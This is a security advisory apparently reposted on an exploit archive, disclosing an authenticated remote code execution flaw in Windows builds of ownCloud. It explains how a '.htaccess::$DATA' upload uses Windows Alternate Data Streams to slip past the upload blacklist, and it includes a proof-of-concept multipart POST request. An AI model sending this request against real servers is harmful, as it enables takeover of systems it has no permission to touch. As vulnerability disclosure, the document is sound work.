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ownCloud 4.0.x, 4.5.x (upload.php, filename param) - Remote Code Execution
Author
Risk
[Security Risk High
]0day-ID
Category
Date add
CVE
Platform
Details:
A remote code execution has been found and confirmed within ownCloud as
an authenticated user. A successful attack could allow an authenticated
attacker to execute PHP code, which could lead to a full compromise of
the server and associated infrastructure. Please note that only the
Windows versions of ownCloud are affected and that valid credentials are
required.
It is possible to create a custom .htaccess into the user's folder on
Windows version of the application, which will enable PHP execution on
the folder. This vulnerability exists because it is possible to bypass
the internal blacklists using Windows ADS (Alternate Data Streams).
Proof Of Concept:
POST /owncloud_5.0.14a/owncloud/?app=files&getfile=ajax%2Fupload.php HTTP/1.1
[...]
Content-Type: multipart/form-data; boundary=---------------------------21191376031994875607185408411
Requesttoken: None
-----------------------------21191376031994875607185408411
Content-Disposition: form-data; name="MAX_FILE_SIZE"
536870912
-----------------------------21191376031994875607185408411
Content-Disposition: form-data; name="requesttoken"
None
-----------------------------21191376031994875607185408411
Content-Disposition: form-data; name="dir"
/
-----------------------------21191376031994875607185408411
Content-Disposition: form-data; name="files[]"; filename=".htaccess::$DATA"
Content-Type: text/plain
<PUT YOUR TEXT HERE>
-----------------------------21191376031994875607185408411--
Further details at:
https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2044/
Copyright:
Copyright (c) Portcullis Computer Security Limited 2014, All rights
reserved worldwide. Permission is hereby granted for the electronic
redistribution of this information. It is not to be edited or altered in
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Security Limited.
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are NO warranties, implied or otherwise, with regard to this information
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Limited) be held liable for any damages whatsoever arising out of or in
connection with the use or spread of this information.
# 0day.today [2024-11-15] #